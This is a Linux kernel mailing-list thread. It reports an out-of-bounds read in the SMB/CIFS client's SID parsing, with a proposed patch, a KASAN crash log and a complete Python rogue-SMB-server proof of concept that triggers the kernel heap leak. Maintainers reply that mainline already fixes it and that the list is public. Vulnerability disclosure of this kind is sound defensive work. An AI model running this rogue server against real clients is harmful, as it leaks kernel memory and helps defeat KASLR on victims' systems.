* [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years)
@ 2026-11-23 11:19 Tanuj Sharma
2026-11-23 14:24 ` Paulo Alcantara
2026-11-23 15:11 ` Enzo Matsumiya
0 siblings, 2 replies; 3+ messages in thread
From: Tanuj Sharma @ 2026-11-23 11:19 UTC (permalink / raw)
To: security
Cc: sfrench, pc, ronniesahlberg, sprasad, tom, bharathsm, linux-cifs,
Tanuj Sharma
Hi,
I am reporting an out-of-bounds read vulnerability in the SMB/CIFS client
that is exploitable by a malicious SMB server (or MitM attacker). A rogue
server can send a CIFS ACL response with a crafted SID containing a large
num_subauth value, causing the client to read up to 56 bytes past the
buffer allocation.
Severity: HIGH — network-exploitable by a malicious SMB server
Attack: Rogue SMB server (or MitM) sends ACL response with SID
containing num_subauth up to 15 in a buffer too small to
hold the sub-authority array.
Affected: v2.6.24+ (since CIFS ACL support was first added, January 2008 — 18 years unfixed)
Fixes: bcb020341a7d ("[CIFS] move cifs acl code to new file and fix build break")
Impact
------
This is a network-exploitable kernel heap information leak affecting
every Linux system that mounts SMB/CIFS shares:
1. Kernel-to-userspace information leak: The OOB sub_auth values are
converted to decimal strings by sid_to_key_str() and used as
keyring key descriptions via request_key(). Key descriptions are
visible to local users through /proc/keys and keyctl, and are
passed to userspace via key-construction upcall handlers. This
provides a concrete, proven kernel-to-userspace information leak —
raw kernel heap data materialized as readable key name strings.
The attacker controls SID placement within the security descriptor
(via osidoffset/gsidoffset) and can trigger repeatedly to harvest
different heap states.
2. KASLR bypass: Adjacent slab objects in the kmalloc-32 cache
commonly contain kernel pointers. These are converted to their
decimal representation in key names, giving the attacker the raw
pointer values and defeating kernel address space layout
randomization.
3. Enterprise attack surface: SMB/CIFS is ubiquitous in enterprise
environments. Many Linux systems auto-mount SMB shares at boot or
login (via /etc/fstab, autofs, or pam_mount). A compromised file
server, or a MitM attacker on the corporate network, can exploit
this against every client that mounts its shares — no user
interaction required beyond the initial mount.
4. 18 years unfixed: This bug has been present since v2.6.24
(January 2008). The TODO comment in the source acknowledging
the missing check was never addressed in 18 years:
/* BB add length check to make sure that we do not have huge
num auths and therefore go off the end */
Root cause
----------
parse_sid() in fs/smb/client/cifsacl.c validates only the SID header:
if (end_of_acl < (char *)psid + 8) {
cifs_dbg(VFS, "ACL too small to parse SID %p\n", psid);
return -EINVAL;
}
This checks only that the fixed 8-byte SID header (revision + num_subauth +
6-byte authority) fits in the buffer. It does NOT check that the variable-
length sub_auth[] array (num_subauth * 4 bytes) also fits.
The code even contains an unfulfilled TODO at line ~1290:
/* BB add length check to make sure that we do not have huge
num auths and therefore go off the end */
After parse_sid() returns, callers like sid_to_id() invoke sid_to_key_str(),
which iterates over all `num_subauth` sub-authorities without any buffer
bounds check:
for (i = 0; i < sidptr->num_subauth; ++i) {
saval = le32_to_cpu(sidptr->sub_auth[i]); // OOB read
...
}
While a check for `num_subauth > SID_MAX_SUB_AUTHORITIES` (15) exists
upstream, it does NOT validate that num_subauth * 4 bytes actually fit
in the remaining buffer. A server can set num_subauth=15 (passes the max
check) in a buffer that only contains 12 bytes total (8-byte header +
4 bytes for 1 sub_auth), causing a 56-byte OOB read (14 extra sub_auths
* 4 bytes each).
Proposed patch
--------------
Add sub-authority length validation in parse_sid() after the existing
8-byte header check:
--- a/fs/smb/client/cifsacl.c
+++ b/fs/smb/client/cifsacl.c
@@ -1267,6 +1267,13 @@ static int parse_sid(struct smb_sid *psid, char *end_of_acl)
return -EINVAL;
}
+ if (end_of_acl < (char *)psid + CIFS_SID_BASE_SIZE +
+ psid->num_subauth * sizeof(__le32)) {
+ cifs_dbg(VFS, "ACL too small for SID with %u subauthorities\n",
+ psid->num_subauth);
+ return -EINVAL;
+ }
+
#ifdef CONFIG_CIFS_DEBUG2
==========================================================================
Verification — PRODUCTION KASAN CRASH (42 reports)
==========================================================================
Environment: kernel 6.12.115, KASAN generic, Linode VM
Trigger: rogue SMB server (PoC below) + mount + `ls -la`
This bug was triggered on UNMODIFIED production kernel code (cifs.ko)
using a rogue SMB server. No kernel modifications, no test modules.
Reproduction steps:
1. Start the rogue SMB server (PoC below) on the VM
2. Mount the share:
mount -t cifs //127.0.0.1/share /mnt/test \
-o username=guest,password=,vers=2.0,cifsacl,noforceuid,noforcegid
3. Run: ls -la /mnt/test/
4. Check: dmesg | grep -c "KASAN" → 42 reports
Production KASAN crash log (1 of 42, kernel 6.12.115, unmodified cifs.ko):
==================================================================
BUG: KASAN: slab-out-of-bounds in sid_to_id+0xc53/0xde0 [cifs]
Read of size 4 at addr ffff88812314b0a0 by task ls/10329
CPU: 4 UID: 0 PID: 10329 Comm: ls Tainted: G B W O 6.12.115 #1
Call Trace:
<TASK>
dump_stack_lvl+0x93/0xd0
print_report+0xce/0x660
kasan_report+0xe0/0x110
sid_to_id+0xc53/0xde0 [cifs]
parse_sec_desc+0x782/0xb50 [cifs]
cifs_acl_to_fattr+0x2ac/0x3a0 [cifs]
cifs_get_fattr+0xc77/0x1b40 [cifs]
cifs_get_inode_info+0xc1/0x2f0 [cifs]
cifs_revalidate_dentry_attr+0x360/0x4a0 [cifs]
cifs_getattr+0x531/0xa10 [cifs]
vfs_getattr_nosec+0x256/0x320
vfs_getattr+0x5c/0xa0
vfs_statx_path+0x2c/0x370
vfs_statx+0xfd/0x170
do_statx+0xd5/0x150
__x64_sys_statx+0x138/0x210
do_syscall_64+0xc1/0x1e0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
</TASK>
Allocated by task 10329:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
__kasan_kmalloc+0x8f/0xa0
__kmalloc_noprof+0x193/0x360
query_info+0x1071/0x13e0 [cifs]
SMB2_query_acl+0x7f/0xb0 [cifs]
get_smb2_acl_by_path+0x2ef/0x3b0 [cifs]
get_smb2_acl+0x44/0xa0 [cifs]
cifs_acl_to_fattr+0x28a/0x3a0 [cifs]
cifs_get_fattr+0xc77/0x1b40 [cifs]
cifs_get_inode_info+0xc1/0x2f0 [cifs]
cifs_revalidate_dentry_attr+0x360/0x4a0 [cifs]
cifs_getattr+0x531/0xa10 [cifs]
vfs_getattr_nosec+0x256/0x320
The buggy address belongs to the object at ffff88812314b080
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 0 bytes to the right of
allocated 32-byte region [ffff88812314b080, ffff88812314b0a0)
faddr2line decoding:
sid_to_id+0xc53 = sid_to_key_str at fs/smb/client/cifsacl.c:166
(inlined by) sid_to_id at fs/smb/client/cifsacl.c:415
parse_sec_desc+0x782 = parse_sec_desc at fs/smb/client/cifsacl.c:1361
cifs_acl_to_fattr+0x2ac = cifs_acl_to_fattr at fs/smb/client/cifsacl.c:1710
42 consecutive KASAN reports triggered by a single `ls -la` on the mounted
share (14 OOB reads per SID x owner + group SID x directory + file).
==========================================================================
PoC — rogue SMB server (Python, raw SMB2 protocol, no deps)
==========================================================================
The rogue server responds to SMB2 QUERY_INFO (InfoType=SECURITY) with a
crafted NTSD containing a malicious SID: revision=1, num_subauth=15,
but only 12 bytes total (8-byte header + 1 sub_auth). The kernel does
kmalloc(32) for the 32-byte NTSD and reads 15*4=60 bytes of sub_auth
from a 4-byte region → 56-byte OOB read.
--- cut here: smb_rogue_sid_poc.py ---
#!/usr/bin/env python3
"""Rogue SMB server — parse_sid OOB trigger. Run as root (port 445)."""
import socket, struct, os
PORT = 445
SMB2_MAGIC = b'\xfeSMB'
SMB2_NEGOTIATE, SMB2_SESSION_SETUP, SMB2_TREE_CONNECT = 0, 1, 3
SMB2_CREATE, SMB2_CLOSE, SMB2_QUERY_INFO = 5, 6, 0x10
STATUS_SUCCESS = 0
def smb2_header(cmd, status=0, msg_id=0, tree_id=0, sess_id=0):
h = bytearray(64)
h[0:4] = SMB2_MAGIC
struct.pack_into('<H', h, 4, 64)
struct.pack_into('<H', h, 6, 1)
struct.pack_into('<I', h, 8, status)
struct.pack_into('<H', h, 12, cmd)
struct.pack_into('<H', h, 14, 1)
struct.pack_into('<I', h, 16, 0x01) # Response flag
struct.pack_into('<Q', h, 28, msg_id)
struct.pack_into('<I', h, 40, tree_id)
struct.pack_into('<Q', h, 44, sess_id)
return bytes(h)
def build_malicious_ntsd():
"""NTSD with SID: revision=1, num_subauth=15, only 1 sub_auth in buffer."""
sid = bytearray(12) # 8-byte header + 4 bytes (1 sub_auth)
sid[0] = 1 # Revision
sid[1] = 15 # num_subauth = 15 (passes SID_MAX check)
sid[2:8] = b'\x00\x00\x00\x00\x00\x05' # NT Authority
struct.pack_into('<I', sid, 8, 21) # First sub_auth
ntsd = bytearray(20)
ntsd[0] = 1 # Revision
struct.pack_into('<H', ntsd, 2, 0x8004) # Control
struct.pack_into('<I', ntsd, 4, 20) # OffsetOwner = 20
struct.pack_into('<I', ntsd, 8, 20) # OffsetGroup = 20
return bytes(ntsd) + bytes(sid)
def handle(conn):
sid, tid = 0x1000, 1
while True:
data = conn.recv(4096)
if not data or len(data) < 68: break
smb = data[4:] if data[0] == 0 else data
if smb[0:4] == b'\xffSMB': break # SMB1 → disconnect
if smb[0:4] != SMB2_MAGIC: continue
cmd = struct.unpack_from('<H', smb, 12)[0]
mid = struct.unpack_from('<Q', smb, 28)[0]
if cmd == SMB2_NEGOTIATE:
body = bytearray(65); struct.pack_into('<H', body, 0, 65)
struct.pack_into('<H', body, 4, 0x0202); body[8:24] = os.urandom(16)
struct.pack_into('<I', body, 28, 65536)
struct.pack_into('<I', body, 32, 65536)
struct.pack_into('<I', body, 36, 65536)
resp = smb2_header(cmd, msg_id=mid) + bytes(body)
elif cmd == SMB2_SESSION_SETUP:
resp = smb2_header(cmd, msg_id=mid, sess_id=sid) + struct.pack('<HHH', 9, 0, 0)
elif cmd == SMB2_TREE_CONNECT:
resp = smb2_header(cmd, msg_id=mid, tree_id=tid, sess_id=sid) + struct.pack('<HBBI', 16, 1, 0, 0x1F01FF)
elif cmd == SMB2_CREATE:
body = bytearray(89); struct.pack_into('<H', body, 0, 89)
body[2] = 1; body[64:80] = os.urandom(16)
resp = smb2_header(cmd, msg_id=mid, tree_id=tid, sess_id=sid) + bytes(body)
elif cmd == SMB2_QUERY_INFO:
blob = build_malicious_ntsd()
body = struct.pack('<HHI', 9, 0x48, len(blob))
resp = smb2_header(cmd, msg_id=mid, tree_id=tid, sess_id=sid) + body + blob
elif cmd == SMB2_CLOSE:
body = bytearray(60); struct.pack_into('<H', body, 0, 60)
resp = smb2_header(cmd, msg_id=mid, tree_id=tid, sess_id=sid) + bytes(body)
else:
resp = smb2_header(cmd, status=0xC00000BB, msg_id=mid, sess_id=sid)
nb = struct.pack('>I', len(resp)); nb = bytes([0]) + nb[1:]
conn.sendall(nb + resp)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('0.0.0.0', PORT)); srv.listen(1)
print(f"[*] Rogue SMB server on :{PORT}")
print("[*] mount -t cifs //127.0.0.1/share /mnt -o username=a,password=a,vers=2.0,cifsacl,noforceuid,noforcegid")
while True:
c, a = srv.accept()
print(f"[+] {a}"); handle(c); c.close()
--- end cut ---
I have not shared this finding publicly. Happy to work with the CIFS/SMB
maintainers on the patch if any changes are needed.
Best regards,
Tanuj Sharma
ertanuj96@gmail.com
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years)
2026-11-23 11:19 [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years) Tanuj Sharma
@ 2026-11-23 14:24 ` Paulo Alcantara
2026-11-23 15:11 ` Enzo Matsumiya
1 sibling, 0 replies; 3+ messages in thread
From: Paulo Alcantara @ 2026-11-23 14:24 UTC (permalink / raw)
To: Tanuj Sharma, security
Cc: sfrench, pc, ronniesahlberg, sprasad, tom, bharathsm, linux-cifs,
Tanuj Sharma
Tanuj Sharma <ertanuj96@gmail.com> writes:
> I am reporting an out-of-bounds read vulnerability in the SMB/CIFS client
> that is exploitable by a malicious SMB server (or MitM attacker). A rogue
> server can send a CIFS ACL response with a crafted SID containing a large
> num_subauth value, causing the client to read up to 56 bytes past the
> buffer allocation.
Have you tried with mainline?
This seems to be fixed already by commit
29f1005b8b4d ("cifs: validate full SID length in security descriptors")
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years)
2026-11-23 11:19 [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years) Tanuj Sharma
2026-11-23 14:24 ` Paulo Alcantara
@ 2026-11-23 15:11 ` Enzo Matsumiya
1 sibling, 0 replies; 3+ messages in thread
From: Enzo Matsumiya @ 2026-11-23 15:11 UTC (permalink / raw)
To: Tanuj Sharma
Cc: security, sfrench, pc, ronniesahlberg, sprasad, tom, bharathsm,
linux-cifs
On 11/23, Tanuj Sharma wrote:
> ...
>I have not shared this finding publicly. Happy to work with the CIFS/SMB
>maintainers on the patch if any changes are needed.
Just a heads up that linux-cifs@vger.kernel.org is a public list, and
it was Cc'd in your report.
Cheers,
Enzo
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-11-23 15:12 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-23 11:19 [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years) Tanuj Sharma
2026-11-23 14:24 ` Paulo Alcantara
2026-11-23 15:11 ` Enzo Matsumiya
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox